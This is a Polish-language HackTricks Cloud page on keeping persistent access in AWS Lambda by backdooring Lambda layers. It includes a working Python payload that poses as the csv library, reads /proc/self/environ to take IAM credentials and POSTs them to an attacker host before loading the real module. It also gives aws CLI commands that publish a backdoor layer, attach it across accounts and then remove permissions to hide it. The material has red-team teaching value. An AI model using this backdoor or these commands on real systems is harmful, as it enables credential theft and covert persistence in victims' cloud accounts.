AWS - Lambda Layers Persistence
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Lambda Layers
Warstwa Lambda to archiwum .zip, które może zawierać dodatkowy kod lub inne treści. Warstwa może zawierać biblioteki, niestandardowy runtime, dane lub pliki konfiguracyjne.
Możliwe jest dołączenie do pięciu warstw na funkcję. Gdy dołączasz warstwę do funkcji, zawartość jest wyodrębniana do katalogu /opt w środowisku wykonawczym.
Z domyślnie, warstwy, które tworzysz, są prywatne dla twojego konta AWS. Możesz zdecydować się na udostępnienie warstwy innym kontom lub uczynić warstwę publiczną. Jeśli twoje funkcje korzystają z warstwy opublikowanej przez inne konto, twoje funkcje mogą nadal używać wersji warstwy po jej usunięciu lub po cofnięciu twojego dostępu do warstwy. Jednak nie możesz utworzyć nowej funkcji ani zaktualizować funkcji korzystających z usuniętej wersji warstwy.
Funkcje wdrożone jako obraz kontenera nie używają warstw. Zamiast tego pakujesz swój preferowany runtime, biblioteki i inne zależności do obrazu kontenera podczas budowania obrazu.
Python load path
Ścieżka ładowania, której Python użyje w lambda, jest następująca:
['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
Sprawdź, jak drugie i trzecie pozycje są zajmowane przez katalogi, w których lambda layers dekompresują swoje pliki: /opt/python/lib/python3.9/site-packages i /opt/python
Caution
Jeśli atakujący zdołałby wprowadzić tylne drzwi do używanej warstwy lambda lub dodać jedną, która będzie wykonywać dowolny kod, gdy załadowana jest wspólna biblioteka, będzie mógł wykonywać złośliwy kod przy każdym wywołaniu lambda.
Dlatego wymagania są następujące:
- Sprawdź biblioteki, które są ładowane przez kod ofiary
- Utwórz bibliotekę proxy z warstwami lambda, która będzie wykonywać niestandardowy kod i ładować oryginalną bibliotekę.
Wstępnie załadowane biblioteki
Warning
Podczas nadużywania tej techniki napotkałem trudność: Niektóre biblioteki są już załadowane w czasie działania Pythona, gdy twój kod jest wykonywany. Spodziewałem się znaleźć takie rzeczy jak
osczysys, ale nawet bibliotekajsonbyła załadowana.
Aby nadużyć tej techniki utrzymywania, kod musi załadować nową bibliotekę, która nie jest załadowana, gdy kod jest wykonywany.
Dzięki kodowi Pythona takiemu jak ten, możliwe jest uzyskanie listy bibliotek, które są wstępnie załadowane w czasie działania Pythona w lambda:
import sys
def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}
A oto lista (sprawdź, czy biblioteki takie jak os lub json są już tam)
'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'
I oto lista bibliotek, które lambda zawiera zainstalowane domyślnie: https://gist.github.com/gene1wood/4a052f39490fae00e0c3
Backdooring Lambda Layer
W tym przykładzie załóżmy, że kod docelowy importuje csv. Będziemy backdoorować import biblioteki csv.
Aby to zrobić, stworzymy katalog csv z plikiem __init__.py w ścieżce, która jest ładowana przez lambda: /opt/python/lib/python3.9/site-packages
Następnie, gdy lambda zostanie wykonana i spróbuje załadować csv, nasz plik __init__.py zostanie załadowany i wykonany.
Ten plik musi:
- Wykonać nasz ładunek
- Załadować oryginalną bibliotekę csv
Możemy zrobić to obie rzeczy za pomocą:
import sys
from urllib import request
with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)
# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)
# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]
# Load original library
import csv as _csv
sys.modules["csv"] = _csv
Następnie utwórz zip z tym kodem w ścieżce python/lib/python3.9/site-packages/__init__.py i dodaj go jako warstwę lambda.
Możesz znaleźć ten kod w https://github.com/carlospolop/LambdaLayerBackdoor
Zintegrowany ładunek wyśle dane uwierzytelniające IAM na serwer PIERWSZY RAZ, gdy zostanie wywołany lub PO zresetowaniu kontenera lambda (zmiana kodu lub zimna lambda), ale inne techniki takie jak poniższe mogą być również zintegrowane:
Zewnętrzne warstwy
Należy zauważyć, że możliwe jest użycie warstw lambda z zewnętrznych kont. Co więcej, lambda może używać warstwy z zewnętrznego konta, nawet jeśli nie ma uprawnień.
Należy również zauważyć, że maksymalna liczba warstw, które może mieć lambda, wynosi 5.
Dlatego, aby poprawić wszechstronność tej techniki, atakujący mógłby:
- Wprowadzić tylną furtkę do istniejącej warstwy użytkownika (nic nie jest zewnętrzne)
- Utworzyć warstwę w swoim koncie, dać koncie ofiary dostęp do używania warstwy, skonfigurować warstwę w Lambdzie ofiary i usunąć uprawnienia.
- Lambda nadal będzie mogła używać warstwy, a ofiara nie będzie miała łatwego sposobu na pobranie kodu warstwy (oprócz uzyskania powłoki rev wewnątrz lambdy)
- Ofiara nie zobaczy zewnętrznych warstw używanych z
aws lambda list-layers
# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
## Add layer to victims Lambda
# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

